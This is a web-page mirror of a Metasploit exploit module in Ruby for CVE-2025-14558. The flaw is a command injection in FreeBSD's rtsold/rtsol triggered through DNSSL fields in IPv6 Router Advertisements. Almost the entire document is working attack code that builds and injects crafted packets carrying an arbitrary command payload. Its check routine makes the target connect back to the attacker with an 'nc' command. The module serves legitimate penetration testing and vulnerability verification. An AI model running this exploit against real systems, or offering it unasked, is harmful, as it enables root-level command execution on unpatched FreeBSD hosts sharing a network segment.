Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/misc/rtsold_dnssl_cmdinject.rb
36033 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Capture
10
include Msf::Exploit::Remote::Ipv6
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection',
17
'Description' => %q{
18
This module exploits a command injection vulnerability (CVE-2025-14558)
19
in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
20
validate the domain search list options provided in IPv6 Router
21
Advertisement messages; the option body is passed to resolvconf(8)
22
unmodified. resolvconf(8) is a shell script which does not validate
23
its input. A lack of quoting means that shell commands passed as input
24
to resolvconf(8) may be executed, enabling command injection via $()
25
substitution in the DNSSL domain name fields.
26
27
This exploit requires Layer 2 adjacency to the target (same network
28
segment) and root privileges to send raw packets. Router advertisement
29
messages are not routable and should be dropped by routers, so the
30
attack does not cross network boundaries.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Lukas Johannes Möller', # Metasploit module and PoC
35
'Kevin Day' # Vulnerability discovery
36
],
37
'References' => [
38
['CVE', '2025-14558'],
39
['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
40
['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
41
],
42
'Platform' => ['unix'],
43
'Arch' => ARCH_CMD,
44
'Privileged' => true,
45
'Targets' => [
46
[
47
'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)',
48
{}
49
]
50
],
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2025-12-16',
53
'DefaultOptions' => {
54
'PAYLOAD' => 'cmd/unix/generic'
55
},
56
'Notes' => {
57
'Stability' => [CRASH_SAFE],
58
'SideEffects' => [IOC_IN_LOGS],
59
'Reliability' => [REPEATABLE_SESSION]
60
}
61
)
62
)
63
64
register_options(
65
[
66
OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']),
67
OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
68
OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000])
69
]
70
)
71
72
deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
73
end
74
75
def check
76
check_pcaprub_loaded
77
78
# Use unspecified address to select default outbound interface
79
lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')
80
lport = datastore['LPORT'] || rand(44444..45444)
81
service = nil
82
client = nil
83
84
begin
85
service = Rex::Socket::TcpServer.create(
86
'LocalHost' => lhost,
87
'LocalPort' => lport,
88
'SSL' => false,
89
'Context' => {
90
'Msf' => framework,
91
'MsfExploit' => self
92
}
93
)
94
95
vprint_status("Started check listener on #{lhost}:#{lport}")
96
97
check_cmd = "nc -w 5 #{lhost} #{lport}"
98
vprint_status("Sending RA packets with check payload: #{check_cmd}")
99
100
send_ra_packets(check_cmd)
101
102
vprint_status('Waiting for connection...')
103
104
Timeout.timeout(10) do
105
client = service.accept
106
if client
107
vprint_good("Connection received from #{client.peerhost}")
108
return CheckCode::Vulnerable('Target connected back via encoded payload')
109
end
110
end
111
rescue Timeout::Error
112
return CheckCode::Safe('No connection received within timeout')
113
rescue RuntimeError => e
114
return CheckCode::Unknown("Pcaprub error: #{e}")
115
rescue StandardError => e
116
return CheckCode::Unknown("Error during check: #{e.class} - #{e}")
117
ensure
118
client.close if client
119
service.close if service
120
end
121
122
CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')
123
end
124
125
def send_ra_packets(cmd)
126
interface = datastore['INTERFACE']
127
count = datastore['COUNT']
128
delay_ms = datastore['DELAY']
129
130
begin
131
smac = get_mac(interface)
132
rescue StandardError => e
133
fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}")
134
end
135
136
begin
137
open_pcap('INTERFACE' => interface, 'ARPCAP' => false)
138
rescue StandardError => e
139
fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}")
140
end
141
142
begin
143
pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface))
144
count.times do |i|
145
inject(pkt.to_s)
146
Rex.sleep(delay_ms / 1000.0) if i < count - 1
147
end
148
ensure
149
close_pcap
150
end
151
end
152
153
def exploit
154
check_pcaprub_loaded
155
156
print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...")
157
send_ra_packets(payload.encoded)
158
print_good('Router Advertisement(s) sent successfully')
159
end
160
end
161
162